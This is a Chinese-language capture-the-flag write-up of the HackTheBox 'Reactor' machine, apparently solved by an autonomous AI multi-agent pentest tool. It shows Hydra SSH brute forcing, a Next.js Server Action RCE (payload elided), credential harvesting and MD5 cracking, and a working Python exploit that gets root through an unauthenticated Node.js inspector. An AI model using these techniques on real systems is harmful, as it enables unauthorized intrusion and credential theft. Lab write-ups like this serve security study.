Writing / Detail

HackTheBox Machine Reactor

2026.05.25
Random
10303 Words
- Views
- Comments

本次靶机采用AI进行,弄来玩玩,聊以慰藉。 靶机: Reactor (HTB) | 难度: Easy | 平台: Linux
工具链: Cairn — 基于黑板架构的 AI 多 Agent 渗透引擎
LLM: DeepSeek V4-Pro · Worker: Claude Code 连接到HTB采用AthenaOS提供的htb-toolkit

1. Executive Summary

Reactor 是一台看似简单但充满误导的 HTB 靶机。表面上有两个开放端口——SSH 和 Next.js Web 仪表盘。Web 应用初看是完全静态的 “decoy” 页面,目录爆破、源代码审计、VHost fuzzing 全部返回零结果。真正的入口点是 CVE-2025-66478 (React2Shell)——一个 CVSS 10.0 的 Next.js 15.0.3 Server Action 反序列化 RCE 漏洞。据守 After obtaining initial access as node, credential harvesting from a SQLite database yielded the engineer user’s MD5 hash, which cracked to reactor1. SSH lateral movement then revealed a Node.js Inspector Debugger listening as root on 127.0.0.1:9229, providing a direct path to SYSTEM/root.

本次渗透测试完全由 Cairn AI Agent 集群 自动驱动,通过事实图谱(Fact Graph)上的 OODA 循环自主完成——从侦察到漏洞识别到提权,全程无需人工干预(除了一次关键的方向纠正 Hint)。

Key Metrics:

  • 总耗时: ~44 分钟(从 VPN 连接到双 Flag)
  • AI Agent 执行的任务数: 19 个 Intents 被提出,13 个 Explore 被执行
  • 发现的漏洞: CVE-2025-66478 (React2Shell)、Node.js Inspector 未授权 RCE
  • SSH 爆破尝试: 1,856 次(零成功——方向错误的重要教训)

2. 侦察与枚举

2.1 端口扫描

naabu 全端口扫描在目标 10.129.177.191 上发现两个开放 TCP 端口:

PortServiceVersion
22/tcpSSHOpenSSH 9.6p1 (Ubuntu)
3000/tcpHTTPNext.js “ReactorWatch | Core Monitoring System v3.2.1”

常见 Web 端口(80、443、8080、8443)全部返回 Connection Refused。UDP 扫描(29 个常用端口)无活跃服务。

2.2 DNS / VHost 枚举

针对多种 TLD(.htb.vl.com.local.lab)的 DNS 子域枚举和 VHost fuzzing:

  • dig/nslookup 对常见子域名(gitlab, wiki, admin, dev, api, jenkins 等)全部解析失败
  • PTR 记录仅返回 IP 地址
  • 目标未运行 DNS 服务(端口 53 拒绝连接)
  • AXFR 区域传输失败
  • ffuf VHost fuzzing(30+ Host header 变体)全部返回相同 HTTP 200,MD5 和 body 大小完全一致

结论: 无 DNS/VHost 攻击面。

2.3 Web 应用深度分析

目录爆破

Terminal window
gobuster dir -u http://10.129.177.191:3000 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-x js,json,php,html,txt -t 50

唯一命中的 /cgi-bin/ 是 Next.js trailing-slash 处理的 308 重定向伪影,最终返回 404。手动测试了 50+ 常见路径(/login, /admin, /api, /graphql, /.env, /.git 等)——全部 404。

React Server Components (RSC) Payload 分析

ReactorWatch 是一个完全静态预渲染的 Next.js 单页仪表盘。关键特征:

Terminal window
Build ID: L3bimJe_3LvBcFWAnK5L4
x-nextjs-prerender: 1
ISR stale-time: maxed
Next.js version: 15.0.3 (extracted from chunk-517.js)

RSC payload 经 self.__next_f.push() 内联在 HTML 中,解码后仅包含仪表盘 UI 树——无隐藏路由、凭据或业务逻辑。所有 JavaScript chunk 均为 React/Next.js 框架标准库代码,不包含任何自定义应用逻辑。

网页误判

初始分析认定 ReactorWatch 是纯 decoy/静态前端,没有可利用的 Web 向量。这个结论部分是错误的——虽然 Web 应用本身确实没有传统的输入点(登录表单项、API 端点、文件上传),但忽视了 Next.js 框架层面(Server Actions、Flight Protocol)的漏洞可能。


3. 方向纠正:从 SSH 爆破到 Next.js CVE

3.1 死胡同

AI Agent 在 Web 分析完毕后的第一反应是转向 SSH 爆破:

  • 构建了 15 个用户名 × 116 个密码的字典(含 reactor/nuclear 主题变体)
  • Hydra 执行 1,856 次尝试 → 零成功

3.2 Hint 注入——人机协作的威力

在观察到 Agent 陷入 SSH 死循环后,通过 Cairn 的 Hint 机制 注入了一条方向纠正:

“SSH brute-force is WRONG. Focus on Next.js CVEs on port 3000: CVE-2025-66478 (Server Action auth bypass), CVE-2024-56332 (SSRF in image optimization), CVE-2024-51479 (middleware auth bypass).”

这个 Hint 在下一个 Reason 循环中被 Agent 吸收,立即扭转了探索方向。Hint 机制是 Cairn 架构中最优雅的设计之一——人类可以随时向共享黑板上注入判断,而不会被 Agent 的内部状态所困。


4. Foothold: CVE-2025-66478 (React2Shell)

4.1 漏洞分析

属性
CVECVE-2025-66478
别名React2Shell
CVSS10.0 (Critical)
影响版本Next.js 15.0.0 – 15.0.4
修复版本15.0.5
靶机版本15.0.3 (受影响)
漏洞类型React Flight Protocol 反序列化 → 原型污染 → RCE

Next.js 15.x 的 Server Actions 使用 React Flight Protocol(基于 multipart/form-data 的 RSC 流式传输)。该协议的 __proto__ 反序列化过程中存在原型污染,攻击者可以通过精心构造的多部分 POST 请求注入恶意对象属性,最终触发任意代码执行。

4.2 CVE 筛选过程

AI Agent 针对 Next.js 15.0.3 系统性评估了以下 CVE:

CVE影响靶机可利用否
CVE-2025-66478Server Action RCE (CVSS 10.0)✅ 可利用
CVE-2025-29927Middleware Bypass (CVSS 9.1)❌ 无 auth middleware 可绕过
CVE-2024-51479Auth Bypass (CVSS 7.5)❌ 仅影响 < 14.2.15
CVE-2024-56332SSRF via Image Optimization❌ url 验证器阻止了所有外部/文件协议
CVE-2024-39698Cache Poisoning❌ 静态页面无缓存机制

4.3 Exploit

确认 Server Action 端点存活:

Terminal window
POST / HTTP/1.1
Host: 10.129.177.191:3000
Content-Type: multipart/form-data
Next-Action: <arbitrary-action-id>
...multipart body with prototype pollution payload...

关键发现:

  • Action ID 值任意 —— 空字符串、任意字符串、RSC payload hash 均可用
  • 响应特征 —— HTTP 500 + Content-Type: text/x-component,命令输出嵌入在 1:E{"digest":"<output>"} Flight stream 中
  • 获取的 shell —— node 用户 (uid=999, gid=988)
Terminal window
# 验证 exploit 成功
id # uid=999(node) gid=988(node)
hostname # reactor
uname -a # Linux 6.8.0-117-generic x86_64
pwd # /opt/reactor-app

Web decoy 不假,但框架漏洞让 decoy 本身成为了入口。这就是为什么 CVE 研究比目录爆破重要得多。


5. 凭据发现与横向移动

5.1 信息收集(node 用户)

作为 node 用户获得 shell 后,在 /opt/reactor-app/ 目录下发现:

.env 文件:

Terminal window
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
DB_PATH=/opt/reactor-app/reactor.db
ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook

reactor.db (SQLite):

Terminal window
SELECT * FROM users;
| username | password_hash | role |
|------------|--------------------------------------|---------------|
| admin | a203b22191d744a4e70ada5c101b17b8 | administrator |
| engineer | 39d97110eafe2a9a68639812cd271e8e | operator |

5.2 MD5 破解

两枚哈希均为未加盐的 MD5:

Terminal window
# engineer 的哈希成功破解
echo '39d97110eafe2a9a68639812cd271e8e' > hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt --force
# 结果: reactor1
# admin 的哈希不在 rockyou 字典中

reactor1——密码强度堪忧,但在 “Easy” 难度的 HTB 靶机中属于典型套路。

5.3 SSH 登录 & User Flag

Terminal window
SSH: engineer:reactor1@10.129.177.191
User Flag: f2bfc6e4f376f532051205e437497ffb

Engineer 用户组:

Terminal window
uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),4(adm),108(lxd)
  • adm 组可以读取 /var/log/
  • lxd 组是著名的容器提权向量(但最终走了另一条路)

6. 权限提升:Node.js Inspector Debugger RCE

6.1 关键发现

在 node 用户的初始 shell 中,进程列表显示了一个更有意思的目标:

Terminal window
root 1337 /usr/bin/node /opt/uptime-monitor/worker.js

进一步探测发现该进程开放了一个 Node.js Inspector Debugger 端口:

Terminal window
# 从 node shell 测试
curl http://127.0.0.1:9229/json
# [{"id":"...","title":"uptime-monitor","type":"node",...}]

Inspector 进程以 root 运行,监听在 127.0.0.1:9229,无需认证。

6.2 利用

标准 Node.js Inspector 利用需要 WebSocket 连接,通过 Runtime.evaluate CDP (Chrome DevTools Protocol) 命令注入代码执行。在 ESM 环境中 require() 不可用,需要用 process.mainModule.require() 绕过:

Terminal window
# ESM-aware inspector exploit
import websocket
import json
ws = websocket.create_connection("ws://127.0.0.1:9229/ws/<session-id>")
# ESM bypass: 使用 process.mainModule.require 替代裸 require
cmd = "cat /root/root.txt"
payload = {
"id": 1,
"method": "Runtime.evaluate",
"params": {
"expression": f"""
process.mainModule.require('child_process')
.execSync('{cmd}').toString()
""",
"awaitPromise": True,
"returnByValue": True
}
}
ws.send(json.dumps(payload))
result = ws.recv()
# result -> "fd2b27553d387df938616182e69e2730"

6.3 Root Flag

Terminal window
Root Flag: fd2b27553d387df938616182e69e2730

这个提权路径绕过了常规的 LXD 容器逃逸、SUID 枚举或内核 exploit——它利用的是运维疏忽:在生产环境中将 Node.js Inspector Debugger 以 root 身份运行并暴露在 localhost 上。这在真实环境中也是常见的配置失误。


7. Attack Graph —— AI Agent 的决策树

Cairn 的 Fact-Intent 图完整记录了 AI Agent 的探索路径:

Terminal window
origin ──→ f001 (Port Scan: 22 + 3000)
├──→ i002 → f002 (DNS/VHost: 无发现)
├──→ i003 → f005 (Web目录爆破: 无发现)
│ i004 → f004 (手动Web探索: 静态decoy)
│ i005 → f003 (漏洞搜索: 无公开PoC)
├──→ i008 → f006 (JS Bundle分析: 无凭据)
├──→ i006 → f007,f009 (SSH爆破准备)
│ i007 → f008 (UDP扫描: 无服务)
│ i009 → f012 (Hydra 1,856次尝试: 零成功)
│ ★ HUMAN HINT: "SSH is WRONG, focus on Next.js CVEs" ★
├──→ i012 → f011 (Next.js 15.0.3 + CVE评估)
├──→ i013 → f014 ★ CVE-2025-66478 RCE as node ★
│ i014 → f015 (CVE-2024-56332 SSRF: blocked)
│ i015 → f013 (CVE-2024-51479: not affected)
├──→ i016 → f018 (后利用枚举: node/engineer信息)
│ i017 → f016 ★ 凭据发现 + user flag ★
│ i018 → f017 (横向移动调查)
└──→ i019 → f019 ★ Node.js Inspector RCE as root ★

14 条 Facts、19 个 Intents、13 次 Explore 执行——这个图的规模说明即使是 Easy 难度的靶机,AI Agent 也需要相当大的探索量才能走完整个攻击链。


8. 关键 Takeaways

8.1 技术层面

  1. 静态页面 ≠ 安全 —— ReactorWatch 的纯静态页面使目录爆破/参数注入等传统 Web 渗透技术完全失效,但 Next.js 框架层面(Server Actions + Flight Protocol)仍然存在可利用的 RCE。

  2. Next.js 15.0.x 的 Server Actions 是一个被低估的攻击面 —— CVE-2025-66478 只需要 Next-Action header 就能触发,不需要有效的 action ID,不需要认证,不需要任何应用层交互。

  3. Node.js Inspector Debugger 是常见的运维失误 —— --inspect 在默认配置下绑定 127.0.0.1:9229 且无需认证。在容器/本地环境下,这等同于 root shell。

  4. MD5 哈希仍然普遍存在 —— reactor.db 中的密码用未加盐的 MD5 存储,且 reactor1 这种弱口令直接暴露了通过 rockyou.txt 无法破解的局限。

8.2 AI 渗透测试层面

  1. Hint 机制是 Cairn 的核心价值 —— 没有那条 “SSH is WRONG” 的提示,AI Agent 可能会在 SSH 爆破上浪费数个小时。Hint 不取代 Agent,但给 Agent 一个快速的方向纠正。这比 “human-in-the-loop” 的响应式干预更高效。

  2. AI Agent 容易陷入 “已知路径偏执” —— 一旦所有侦察指向 “SSH 是唯一的攻击面”,Agent 会反复回到 SSH 向量上,即使之前的所有尝试都失败了。需要外部视角来打破这个循环。

  3. 并行探索 vs 序列探索 —— Cairn 的并行 Explore 机制在 CVE 评估阶段表现良好(3 个 CVE 同时测试),但在早期侦察阶段,4 个 Web 分析 Intent 产生了大量重复输出(f003/f004/f005/f006 都在重复同一个结论)。

  4. 每个 Explore 阶段的 240s 超时对准确率有影响 —— 多次出现 explore timeout → conclude fallback 的流程,意味着 LLM 在 4 分钟内没有完成完整执行。对于需要长时间运行的 Web 扫描、爆破任务,超时设置可能需要动态调整。


9. Flags

Flag获取方式
Userf2bfc6e4f376f532051205e437497ffbCVE-2025-66478 RCE → 凭据发现 → MD5 破解 → SSH engineer
Rootfd2b27553d387df938616182e69e2730Node.js Inspector Debugger → CDP Runtime.evaluate → root RCE

10. 关于 Cairn

Cairn 是一个基于黑板架构 (Blackboard Architecture) 的通用问题求解引擎。它不定义预制的 Agent 角色或工作流,只维护一个由 Facts(已证实的客观发现)和 Intents(声明的探索方向)组成的事实图谱。Agents 通过 OODA (Observe-Orient-Decide-Act) 循环从这个共享图谱中读取任务、执行探索、写回发现。Agent 之间没有直接通信——所有协调通过共享黑板实现(Stigmergy/群体智慧)。

本次渗透测试展示了 Cairn 在真实 CTF 环境中的表现:

  • 自主发现漏洞(CVE-2025-66478)
  • 完整的攻击链构造(从信息收集到凭据发现到提权)
  • 人机协作的优势(Hint 机制快速纠正方向)
  • 现存的局限(容易陷入局部最优解、任务超时影响效率)

Cairn 开源地址: github.com/oritera/cairn


Writeup compiled from Cairn Fact Graph (project proj_005) — all findings verified against target Reactor at 10.129.177.191.